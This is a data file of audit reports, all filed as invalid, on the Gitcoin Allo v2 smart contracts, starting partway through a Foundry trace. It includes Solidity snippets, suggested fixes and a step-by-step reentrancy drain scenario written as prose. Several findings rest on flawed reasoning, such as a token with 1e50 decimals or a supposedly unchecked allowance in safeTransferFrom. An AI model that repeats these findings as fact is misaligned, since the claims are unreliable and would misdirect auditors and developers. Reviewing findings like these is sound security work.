NoFallbackContract@0x2e234DAe75C793f67A35089C9d99245E1C58470b\n ā”‚ ā””ā”€ ā† 63 bytes of code\n ā”œā”€ [0] VM::expectRevert(CALL_FAILED())\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [8834] Anchor::execute(NoFallbackContract: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], 1000000000000000000 [1e18], 0x35b09a6e)\n ā”‚ ā”œā”€ [527] MockRegistry::isOwnerOfProfile(0x746573745f70726f66696c650000000000000000000000000000000000000000, AnchorTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496]) [staticcall]\n ā”‚ ā”‚ ā””ā”€ ā† true\n ā”‚ ā”œā”€ [0] NoFallbackContract::someFunction{value: 1000000000000000000}()\n ā”‚ ā”‚ ā””ā”€ ā† \"EvmError: OutOfFund\"\n ā”‚ ā””ā”€ ā† \"CALL_FAILED()\"\n ā””ā”€ ā† ()\n```\n\n## Impact\nThe current design compromises the integrity of the protocol's functionality, requiring users to make two separate transactions to achieve a single execute operation.\n\nA specific scenario is as follows:\n1. The user sets `Anchor` as the recipient address for the pool and deposits 100 ETH through `Allo`.\n2. The user wants to deposit 100 ETH into another fund contract through `Anchor`, and that contract will charge a 0.001 ETH fee.\n3. The user wants to ensure that there is exactly 100 ETH in the fund contract, so he needs to send a total of 100.001 ETH.\n4. Because the `execute` function is not `payable`, he first needs to send 0.001 ETH to the `receive` function, and then execute the `execute` function.\n5. Splitting it into two transactions creates a poor user experience, making the user pay an additional gas fee, which could even exceed the extra 0.001 ETH he intended to send.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Anchor.sol#L70-L87\n## Tool used\n\nManual Review\n\n## Recommendation\nAdd `payable` to `execute`.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/021.md"}} +{"title":"The native tokens sent through `registerRecipient` are not passed on to the `strategy` contract.","severity":"info","body":"Fancy Khaki Perch\n\nhigh\n\n# The native tokens sent through `registerRecipient` are not passed on to the `strategy` contract.\nThe native tokens sent through `registerRecipient` are not passed on to the `strategy` contract.\n## Vulnerability Detail\nBoth the `Allo` contract and the `BaseStrategy` contract have `registerRecipient` functions that are `payable`.\nMoreover, `BaseStrategy.registerRecipient` can only be called through `Allo.registerRecipient`.\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L301-L304\n```solidity\n function registerRecipient(uint256 _poolId, bytes memory _data) external payable nonReentrant returns (address) {\n // Return the recipientId (address) from the strategy\n return pools[_poolId].strategy.registerRecipient(_data, msg.sender);\n }\n```\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/BaseStrategy.sol#L165-L175\n```solidity\n function registerRecipient(bytes memory _data, address _sender)\n external\n payable\n onlyAllo\n onlyInitialized\n returns (address recipientId)\n {\n _beforeRegisterRecipient(_data, _sender);\n recipientId = _registerRecipient(_data, _sender);\n _afterRegisterRecipient(_data, _sender);\n }\n```\n\nIn the `Allo.registerRecipient` function, the call to `strategy.registerRecipient` does not pass along `msg.value`.\n```solidity\nreturn pools[_poolId].strategy.registerRecipient(_data, msg.sender);\n```\n\nThis results in the native token remaining in the Allo contract, rather than being transferred to the strategy for use.\n## Impact\nThis results in the native token remaining in the Allo contract, rather than being transferred to the strategy for use.\n## Code Snippet\n- https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L301-L304\n- https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/BaseStrategy.sol#L165-L175\n## Tool used\n\nManual Review\n\n## Recommendation\nJust like in the `allocate` function, pass along `msg.value`.\n```solidity\n function _allocate(uint256 _poolId, bytes memory _data) internal {\n pools[_poolId].strategy.allocate{value: msg.value}(_data, msg.sender);\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/020.md"}} +{"title":"Creation of pool with Base Fee will fail with `NOT_ENOUGH_FUNDS`","severity":"info","body":"Amateur Navy Fox\n\nmedium\n\n# Creation of pool with Base Fee will fail with `NOT_ENOUGH_FUNDS`\nCreation of pool with Base Fee will fail with `NOT_ENOUGH_FUNDS`, which breaks core contract functionality\n\n## Vulnerability Detail\nChecks to ensure enough native token to pay base fee (and possibly funding amount) are incorrectly written. Thus when the correct amount of native token is supplied the creation will fail and revert. Classified as medium because this issue breaks core contract functionality.\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L473-L475\n\n## Impact\nCreation of pool with a baseFee will fail if the correct amount of ETH is included in the txn. It could be circumvented by supplying excess ETH to the contract.\n\n## Code Snippet\n```solidity\nif ((_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value)) {\n revert NOT_ENOUGH_FUNDS();\n}\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\nChange code to \n```solidity\nif ((_token == NATIVE && (baseFee + _amount > msg.value)) || (_token != NATIVE && baseFee > msg.value)) {\n revert NOT_ENOUGH_FUNDS();\n}\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/018.md"}} +{"title":"The `createPool` function is missing a refund for excess native tokens.","severity":"info","body":"Fancy Khaki Perch\n\nmedium\n\n# The `createPool` function is missing a refund for excess native tokens.\nThe `createPool` function is missing a refund for excess native tokens.\n## Vulnerability Detail\nIn the `createPool` function, native tokens are transferred based on the `baseFee`. The function only requires that there are enough native tokens, but it doesn't handle any excess native tokens\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L469-L482\n```solidity\n if (baseFee > 0) {\n // To prevent paying the baseFee from the Allo contract's balance\n // If _token is NATIVE, then baseFee + _amount should be >= than msg.value.\n // If _token is not NATIVE, then baseFee should be >= than msg.value.\n if ((_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value)) {\n revert NOT_ENOUGH_FUNDS();\n }\n _transferAmount(NATIVE, treasury, baseFee);\n emit BaseFeePaid(poolId, baseFee);\n }\n\n if (_amount > 0) {\n _fundPool(_amount, poolId, _strategy);\n }\n```\n\nSince `baseFee` is changeable by the owner, the following situation could occur:\n1. The user calculates based on the current `baseFee` and sets `msg.value` accordingly.\n2. Before the user's transaction is executed, the owner changes the `baseFee` to lower value in the same block.\n3. The user's transaction is executed, and after paying the `baseFee`, there is a surplus in `msg.value` that is not refunded to the user.\n\nFrom the user's perspective, he hasn't made a wrong input. This situation resembles a non-malicious front-running scenario, which ultimately results in additional costs for the user.\n## Impact\nThe excess native token paid by the user is not refunded.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L469-L482\n## Tool used\n\nManual Review\n\n## Recommendation\nRefund excess native token.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/017.md"}} +{"title":"Empty pool can be created by passing zero amount","severity":"info","body":"Cold Chocolate Cougar\n\nmedium\n\n# Empty pool can be created by passing zero amount\nAllo._createPool is responsible for creating pool, ensuring that ID of the profile of pool creator in the registry belongs to the caller i.e; msg.sender than it increment `poolIndex` , after that it is generating the manager & admin roles for the pool ,next it is creating the Pool instance and granting manager and admin role later it calls `_strategy.initialize` which is expected to revert when invoked more than once with 'ALREADY_INITIALIZED()' error next it is granting pool managers roles to the manager array than it transfer `baseFee` to `treasury` and at last it calls `_fundPool` to fund the pool.\n\n## Vulnerability Detail\nThe problem with `_createPool` arises at last when it make a call to `_fundPool` internal function after checking `_amount > 0` that is amount deposited in the pool during creation time should be greater than zero,\n\n#L480\n```solidity\n if (_amount > 0) {\n _fundPool(_amount, poolId, _strategy);\n }\n```\nthis can lead to creating a pool with empty amount deposited because of the check\n#L453 \n```solidity\n // initialize strategies\n // Initialization is expected to revert when invoked more than once with 'ALREADY_INITIALIZED()' error\n _strategy.initialize(poolId, _initStrategyData);\n``` \nwhich makes the function only call once after user make a call to `createPool` function, after which user will unable to call `createPool` function again even if they pass zero as amount OR createPool can be initialized with amount = 0. Because a subsequent call to `initialize` can only happen once, the contract is now initialized with a zero size pool that does not allow any liquidity to be added.\n\n## Impact\n` createPool` can only be called once due to a check `_strategy.initialize`, this call may leave the pool empty.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L480\n```solidity\n if (_amount > 0) {\n _fundPool(_amount, poolId, _strategy);\n }\n```\n\n## Tool used\nManual Review\n\n## Recommendation\nRequire a minimum amount to be provided when creating a Pool.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/016.md"}} +{"title":"Precision Lost due to hardcoded 18 decimals","severity":"info","body":"Winning Mercurial Ferret\n\nhigh\n\n# Precision Lost due to hardcoded 18 decimals\nIn `_fundPool` have precision lost if token of pool is USDC(6 decimals) or any other token with diffrent from 18 decimals because function `getFeeDenominator()` always will return 1e18. \n## Vulnerability Detail\nWhen you use `_fundPool` with any tokens with low decimals then 18 will return always 0 for feeAmount.\n## Impact\n`feeAmount` always will return zero which will cause significant loses for protocol because fee will be zero. \n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L510\n## Tool used\n\nManual Review\n\n## Recommendation\nAdd mechanism to get decimals from token contract dinamic for every token.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/013.md"}} +{"title":"Reentrancy Vulnerability in _distribute function","severity":"info","body":"Interesting Shamrock Lemur\n\nhigh\n\n# Reentrancy Vulnerability in _distribute function\n\nThe `_distribute` function within the `QVBaseStrategy.sol` abstract contract presents a critical vulnerability that exposes the smart contract to the risk of a reentrancy attack. This vulnerability arises from the sequence of operations within the function that allows an attacker, particularly a malicious `PoolManager`, to withdraw all pool funds before the `paidOut` flag is set to `true`.\n\n## Vulnerability Detail\n\nThe vulnerability stems from the order of execution within the [`_distribute` function](https://github.com/allo-protocol/allo-v2/blob/8a41a342a0de7a2d5d7dbc5395d1da44cb811348/contracts/strategies/qv-base/QVBaseStrategy.sol#L436). Currently, after transferring tokens to the recipient's address, the `paidOut[recipientId]` flag is set to `true`. This is done in the following [two sloc](https://github.com/allo-protocol/allo-v2/blob/main/contracts/strategies/qv-base/QVBaseStrategy.sol#L456-L458). This sequence of operations creates a window of opportunity for a malicious actor to exploit the contract. A malicious `PoolManager` can call the `_distribute` function and initiate a reentrancy attack before his `paidOut` is updated to indicate that his has been paid. Let see a step by step attack.\n\n1. A pool is created using `QVBaseStrategy.sol` as a base strategy for the main strategy with token as NATIVE.\n2. The `distribute(address[] calldata _recipientIds) external` function logically uses `_distribute` function with the `recipientId` of the `PoolManager` only.\n3. The malicious `PoolManager` calls `distribute` function.\n4. When `transferAmount` is called, it uses the safeTransferETH function.\n5. When sending ether, it calls the malicious `PoolManager` receive contract function. This function calls distribute.\n6. This send ETH again...\n7. After draining funds, `paidOut[PoolManagerId]` flag is set to `true` (too late!).\n\nThis critical vulnerability can manifest when a strategy contract is created by inheriting from the `QVBaseStrategy.sol` abstract contract, which is the intended use of this smart contract explained in the [sequence diagram](https://github.com/allo-protocol/allo-v2/tree/main/contracts/strategies/qv-base#sequence-diagram). The strategy contract utilizes the `_distribute` function to distribute tokens, exposing the vulnerability. In this context, a malicious `PoolManager` operating the strategy contract can exploit the vulnerability to initiate a reentrancy attack, potentially leading to the unauthorized withdrawal of all pool funds. This scenario underscores the importance of promptly addressing and mitigating the vulnerability to ensure the security of strategy contracts built upon this abstract contract.\n\n## Impact\n\nIf successfully exploited, a malicious `PoolManager` could drain the entire pool's funds. This type of attack could result in significant financial losses to the pool participants, as all the assets within the pool could be siphoned off before any legitimate distribution occurs. \n\n## Code Snippet\n\n```solidity\n /// @notice Distribute the tokens to the recipients\n /// @dev The '_sender' must be a pool manager and the allocation must have ended\n /// @param _recipientIds The recipient ids\n /// @param _sender The sender of the transaction\n function _distribute(address[] memory _recipientIds, bytes memory, address _sender)\n internal\n virtual\n override\n onlyPoolManager(_sender)\n onlyAfterAllocation\n {\n uint256 payoutLength = _recipientIds.length;\n for (uint256 i; i < payoutLength;) {\n address recipientId = _recipientIds[i];\n Recipient storage recipient = recipients[recipientId];\n\n PayoutSummary memory payout = _getPayout(recipientId, \"\");\n uint256 amount = payout.amount;\n\n if (paidOut[recipientId] || !_isAcceptedRecipient(recipientId) || amount == 0) {\n revert RECIPIENT_ERROR(recipientId);\n }\n\n IAllo.Pool memory pool = allo.getPool(poolId);\n _transferAmount(pool.token, recipient.recipientAddress, amount);\n\n paidOut[recipientId] = true;\n\n emit Distributed(recipientId, recipient.recipientAddress, amount, _sender);\n unchecked {\n ++i;\n }\n }\n }\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nChange the function to send ether at the end:\n```solidity\n /// @notice Distribute the tokens to the recipients\n /// @dev The '_sender' must be a pool manager and the allocation must have ended\n /// @param _recipientIds The recipient ids\n /// @param _sender The sender of the transaction\n function _distribute(address[] memory _recipientIds, bytes memory, address _sender)\n internal\n virtual\n override\n onlyPoolManager(_sender)\n onlyAfterAllocation\n {\n uint256 payoutLength = _recipientIds.length;\n for (uint256 i; i < payoutLength;) {\n address recipientId = _recipientIds[i];\n Recipient storage recipient = recipients[recipientId];\n\n PayoutSummary memory payout = _getPayout(recipientId, \"\");\n uint256 amount = payout.amount;\n\n if (paidOut[recipientId] || !_isAcceptedRecipient(recipientId) || amount == 0) {\n revert RECIPIENT_ERROR(recipientId);\n }\n\n IAllo.Pool memory pool = allo.getPool(poolId);\n paidOut[recipientId] = true;\n\n emit Distributed(recipientId, recipient.recipientAddress, amount, _sender);\n\n _transferAmount(pool.token, recipient.recipientAddress, amount);\n\n unchecked {\n ++i;\n }\n }\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/011.md"}} +{"title":"Denial of Service (DoS) Attack Due to Potential Arithmetic Overflow","severity":"info","body":"Interesting Shamrock Lemur\n\nmedium\n\n# Denial of Service (DoS) Attack Due to Potential Arithmetic Overflow\n\nThe `_fundPool ` function in `Allo.sol` contract contains a vulnerability that can potentially lead to a denial of service (DoS) attack. This vulnerability arises from the lack of consideration for arithmetic overflow when calculating the `feeAmount` using `_amount * percentFee` before division, where `percentFee` is a fixed value representing a percentage fee. If the token used in the calculation has a large number of decimals, an arithmetic overflow can occur, causing the transaction to revert. Because percentFee is a huge number, this is possible to add a new token that does not fit with this smart contract.\n\n## Vulnerability Detail\n\nIn the `_fundPool` function, the calculation of the `feeAmount` is performed without appropriate checks to prevent potential arithmetic overflow. The vulnerability lies in the following formula:\n\n`feeAmount = (_amount * percentFee) / getFeeDenominator();`\n\nEven if the result of feeAmount is not higher than `2^256-1`, the multiplication is done before the division. Then, if `_amount * percentFee > 2^256-1`, this function will revert for any call. It is totally possible if a token has a high number of decimals or if this smart contract is used to dispatch an ERC20 supply.\n\nLet's take an example which can cause an overflow here. Let's define our token:\n- name: fundingToken\n- decimals(): 1e50\n- number of token hold by the funder: 1e10\n\nLet's say that the user want to fund the pool with all his tokens. Then `_amount` is equal to `1e50 * 1e10 = 1e60`.\nThen `_amount * percentFee = 1e78 > 2^256 - 1`.\n\n## Impact\n\nIn specific cases, where it is the only way to dispatch supply, it can lead to the freeze of ERC20 tokens. However, this can be bypassed by setting `percentFee` to zero for every project.\nWhen users attempt to fund the pool with a large `_amount`, the arithmetic overflow will occur, causing the transaction to revert. This can disrupt the normal operation of the contract and prevent legitimate interactions.\n\n## Code Snippet\n\n```solidity\n /// @notice Fund a pool.\n /// @dev Deducts the fee and transfers the amount to the distribution strategy.\n /// Emits a 'PoolFunded' event.\n /// @param _amount The amount to transfer\n /// @param _poolId The 'poolId' for the pool you are funding\n /// @param _strategy The address of the strategy\n function _fundPool(uint256 _amount, uint256 _poolId, IStrategy _strategy) internal {\n uint256 feeAmount;\n uint256 amountAfterFee = _amount;\n\n Pool storage pool = pools[_poolId];\n address _token = pool.token;\n\n if (percentFee > 0) {\n feeAmount = (_amount * percentFee) / getFeeDenominator();\n amountAfterFee -= feeAmount;\n\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: treasury, amount: feeAmount}));\n }\n\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: address(_strategy), amount: amountAfterFee}));\n _strategy.increasePoolAmount(amountAfterFee);\n\n emit PoolFunded(_poolId, amountAfterFee, feeAmount);\n }\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nOpenZeppelin has a specific function to resolve this issue in Math.sol library : https://github.com/OpenZeppelin/openzeppelin-contracts/blob/a4596cab053d46e0bf2957e2ed490cb3921539ee/contracts/utils/math/Math.sol#L55\n\nThen this line:\n```solidity\nfeeAmount = (_amount * percentFee) / getFeeDenominator();\n```\ncan be replaced by:\n```solidity\nfeeAmount = Math.mulDiv(_amount, percentFee, getFeeDenominator())\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/010.md"}} +{"title":"zero feeAmount can be transferred to treasury address.","severity":"info","body":"Cold Chocolate Cougar\n\nhigh\n\n# zero feeAmount can be transferred to treasury address.\nAllo._createPool internal function is calling _fundPool internal function if amount of the token to be deposited in the pool is greater than zero\n#L480_L481\n```solidity\nif (_amount > 0) {\n _fundPool(_amount, poolId, _strategy);\n }\n```\n_fundPool internal function is doing a transfer to `treasury` by calculating feeAmount as `feeAmount = (_amount * percentFee) / getFeeDenominator();` and to `startegy` by subtracting feeAmount by amount to transfer i.e. `amountAfterFee -= feeAmount;`\n\n## Vulnerability Detail\nThe problem with the above calculation is that it is likely to cause a precision loss while calculating `feeAmount`\n `feeAmount = (_amount * percentFee) / getFeeDenominator();`\nany condition, where ` (_amount * percentFee)` is less than `getFeeDenominator()` = 1e18 as in L599 \n```solidity\nfunction getFeeDenominator() public pure returns (uint256 FEE_DENOMINATOR) {\n return 1e18;\n }\n``` \nThe calculation take place as:\n```solidity\nfeeAmount = (100 * 1e15) / 1e18 = 0.1 = round down to 0\n```\ntherefore if `_amount = 100` and `percentFee = 1e15 `, Every time it will round down to 0, and their are many more such permutations of ` (_amount * percentFee)` that becomes less than 1e18 and the resultant `feeAmount` will round down to 0.\n\n## Impact\nNo transfer will happen to `treasury` due to the above reason.\n\n## Code Snippet\n```solidity\n if (percentFee > 0) {\n feeAmount = (_amount * percentFee) / getFeeDenominator();\n amountAfterFee -= feeAmount;\n\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: treasury, amount: feeAmount}));\n }\n\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: address(_strategy), amount: amountAfterFee}));\n _strategy.increasePoolAmount(amountAfterFee);\n```\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L509-L517\n\n\n## Tool used\n\nManual Review\n\n## Recommendation\nUse openzeppelin safeMath library OR Make changes in calculation to get rid of precision loss.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/009.md"}} +{"title":"Users funds can get stuck forever inside Allo contract","severity":"info","body":"Dandy Seafoam Shrimp\n\nmedium\n\n# Users funds can get stuck forever inside Allo contract\n\nThe ```Registry.recoverFunds()``` function allow the ALLO_OWNER role detentor to withdraw any funds balance from allo to the recipient. However Funds can get stuck forever in the contract, if the role detentor account owner loses access to his wallet for whatever reasons.\n## Vulnerability Detail\n\nThe ```Registry.recoverFunds()``` function allow the ALLO_OWNER role detentor to withdraw any funds balance from allo to the recipient. Due to the way openzeppelin access control works the owner account can not grant ALLO_OWNER role to a new account because owner does not grand himself the ```DEFAULT_ADMIN_ROLE``` from OZ AccessControl during deployment.\n\n## Impact\n\nFunds can get stuck forever in the contract if owner loses access to his wallet due to any inconvenience: \n-death of the owner,\n-wallet compromised,\netc...\n\nLet's see it in live action:\n\nif owner try to grant ALLO_OWNER role to a new account transaction will revert with the following error:\n```solidity\n\"AccessControl: account 0x5b38da6a701c568545dcfcb03fcb875f56beddc4 is missing role 0x0000000000000000000000000000000000000000000000000000000000000000\", (which is the DEFAULT_ADMIN_ROLE).\n```\n\n```solidity\n// SPDX-License-Identifier: MIT\npragma solidity ^0.8.18;\n\nimport {AccessControl} from \"@openzeppelin/contracts/access/AccessControl.sol\";\n\ncontract Proof is AccessControl {\n // @audit: this contract won't allow owner to grant any role to a new account\n // in case owner is sick for example and want to grant role to a new account for precaution\n// he can't. Same thing if he loses access to his wallet.\n bytes32 public constant ALLO_OWNER = keccak256(\"ALLO_OWNER\");\n constructor() {\n _grantRole(ALLO_OWNER, _msgSender());\n }\n}\n```\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Registry.sol#L384-L389\n\n## Tool used\n\nManual Review\n\n## Recommendation\nowner should grant himself Oz DEFAULT_ADMIN_ROLE at deployment, so he can get full access control and grant role to new accounts if the current one is compromised","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/008.md"}} +{"title":"Malicious user can spam create profiles for other users","severity":"info","body":"Dandy Seafoam Shrimp\n\nmedium\n\n# Malicious user can spam create profiles for other users\n\nThe ```Registry.createProfile()``` allow any person to create profile for anyone else without any limitation.This open door for spammer to show off their spam artist talents.\n## Vulnerability Detail\n\nThe ```Registry.createProfile()``` allow any person to create profile for anyone else without any limitation. Because of the way this protocol intend to be used , the person who the malicious user created the profile for can use that profile just by having the Id whiich was created from the keccak256 hash of the malicious user account and a random nonce; Although the the person who the malicious user created the profile for is not directly exposed to a loss of funds, this is still an issue as a spammer can create up to ```type(uint256).max``` number of profiles for the same victim account.\n\n## Impact\n\nCopy and paste this function into ```Registry.t.sol```\n```solidity\nfunction test_MaliciousUsersCreateProfileForOthers(\n string memory _name,\n address malicious_user,\n address owner1\n ) public {\n vm.assume(malicious_user != address(0));\n vm.assume(owner1 != address(0));\n vm.assume(owner2 != address(0));\n\n vm.startPrank(malicious_user);\n uint256 _nonce = 123;\n uint256 _nonce2 = 1234;\n bytes32 profileId_1 = registry().createProfile(_nonce, _name, metadata, owner1, profile1_members());\n bytes32 profileId_2 = registry().createProfile(_nonce2, _name, metadata, owner1, profile1_members());\n\n Registry.Profile memory profile1 = registry().getProfileById(profileId_1);\n Registry.Profile memory profile2 = registry().getProfileById(profileId_2);\n\n assertEq(profile1.id, profileId_1);\n assertEq(profile2.id, profileId_2);\n\n }\n```\nand run the test, it passes , so a spammer can create as many profile as he wants for his victims, and if by any mean he can trick the victims into using the profile Id, there is a possibility that he scams the victims.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Registry.sol#L119-L168\n## Tool used\n\nManual Review\n\n## Recommendation\nI recommend ensuring only the caller can create a profile for ```owner``` param. This can be done by reverting the function if owner param is not msg.sender.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/007.md"}} +{"title":"arbitrary send erc20 in Transfer.sol","severity":"info","body":"Restless Navy Iguana\n\nmedium\n\n# arbitrary send erc20 in Transfer.sol\narbitrary send erc20 in Transfer.sol\n## Vulnerability Detail\nThe vulnerability titled \"arbitrary send erc20\" is found in the function _transferAmountFrom of the contract. This function allows for the transfer of tokens from one address to another. However, the function does not check if the _transferData.from address has approved the contract to transfer tokens on its behalf. This means that an attacker can call this function to transfer any amount of ERC20 tokens from any address to any other address, as long as the balance of the _transferData.from address is greater or equal to the _transferData.amount\n## Impact\nCan lead to unauthorized transfers and potential loss of funds.\n## Code Snippet\nfunction _transferAmountFrom(address _token, TransferData memory _transferData) internal returns (bool) {\n uint256 amount = _transferData.amount;\n if (_token == NATIVE) {\n // Native Token\n if (msg.value < amount) revert AMOUNT_MISMATCH();\n\n SafeTransferLib.safeTransferETH(_transferData.to, amount);\n } else {\n SafeTransferLib.safeTransferFrom(_token, _transferData.from, _transferData.to, amount);\n }\n return true;\n}\n## Tool used\nVsCode\nManual Review\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/libraries/Transfer.sol#L70-L81\n## Recommendation\nTo resolve this issue, you should add a require statement to check if the contract has been approved to transfer tokens on behalf of the `_transferData.from` address. You can use the `allowance` function of the ERC20 token to check this. Here is how you can modify the `_transferAmountFrom` function:\n\n```solidity\nfunction _transferAmountFrom(address _token, TransferData memory _transferData) internal returns (bool) {\n uint256 amount = _transferData.amount;\n if (_token == NATIVE) {\n // Native Token\n if (msg.value < amount) revert AMOUNT_MISMATCH();\n\n SafeTransferLib.safeTransferETH(_transferData.to, amount);\n } else {\n // Check if the contract is allowed to transfer tokens on behalf of _transferData.from\n IERC20 token = IERC20(_token);\n uint256 allowance = token.allowance(_transferData.from, address(this));\n require(allowance >= amount, \"Transfer amount exceeds allowance\");\n\n SafeTransferLib.safeTransferFrom(_token, _transferData.from, _transferData.to, amount);\n }\n return true;\n}\n```\n\nThis modification ensures that the contract checks if it has been approved to transfer the specified amount of tokens on behalf of the `_transferData.from` address. If the contract is not approved, the transaction will fail with the message \"Transfer amount exceeds allowance\". This prevents unauthorized transfers of tokens.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/006.md"}} +{"title":"Missing initializer modifier","severity":"info","body":"Energetic Seafoam Oyster\n\nmedium\n\n# Missing initializer modifier\nThe initialize function does not use the initializer modifier, and as a result, anyone can initialize this function several times\n\n## Vulnerability Detail\n\nIn contracts that need to use public or external initialize functions instead of constructors that need to be explicitly called only once.\n\ninitialize() function should have the initializer modifier to prevent someone from initializing the contract multiple times.\n\nThis vulnerability exists in RFPSimpleStrategy and RFPCommitteeStrategy contracts.\n\n## Impact\nAnyone can initialize the contract multiple times\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol?plain=1#L151\n```solidity\n function initialize(uint256 _poolId, bytes memory _data) external virtual override {\n```\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-committee/RFPCommitteeStrategy.sol?plain=1#L74\n```solidity\n function initialize(uint256 _poolId, bytes memory _data) external override {\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\nTo avoid multiple invocations of such initializer functions, we must use initializer modifier\n\nUse the initializer modifier from OpenZeppelin's Initializable library.\n\n```solidity\nimport \"@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol\";\n\ncontract RFPSimpleStrategy is BaseStrategy, ReentrancyGuard, Initializable {\n\n function initialize(uint256 _poolId, bytes memory _data) external initializer virtual override {\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/005.md"}} +{"title":"[M-01] Arbitrary send erc20","severity":"info","body":"Restless Navy Iguana\n\nmedium\n\n# [M-01] Arbitrary send erc20\narbitrary send erc20 in Transfer.sol\n## Vulnerability Detail\nThe vulnerability titled \"arbitrary send erc20\" is found in the function `_transferAmountFrom` of the contract. This function allows for the transfer of tokens from one address to another. However, the function does not check if the `_transferData.from` address has approved the contract to transfer tokens on its behalf. This means that an attacker can call this function to transfer any amount of ERC20 tokens from any address to any other address, as long as the balance of the `_transferData.from` address is greater or equal to the `_transferData.amount`. .\n##Impact\nCan lead to unauthorized transfers and potential loss of funds.\n## Code Snippet\n function _transferAmountFrom(address _token, TransferData memory _transferData) internal returns (bool) {\n uint256 amount = _transferData.amount;\n if (_token == NATIVE) {\n // Native Token\n if (msg.value < amount) revert AMOUNT_MISMATCH();\n\n SafeTransferLib.safeTransferETH(_transferData.to, amount);\n } else {\n SafeTransferLib.safeTransferFrom(_token, _transferData.from, _transferData.to, amount);\n }\n return true;\n }\n## Tool used\nVScode\n\nManual Review\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/libraries/Transfer.sol#L70-L81\n## 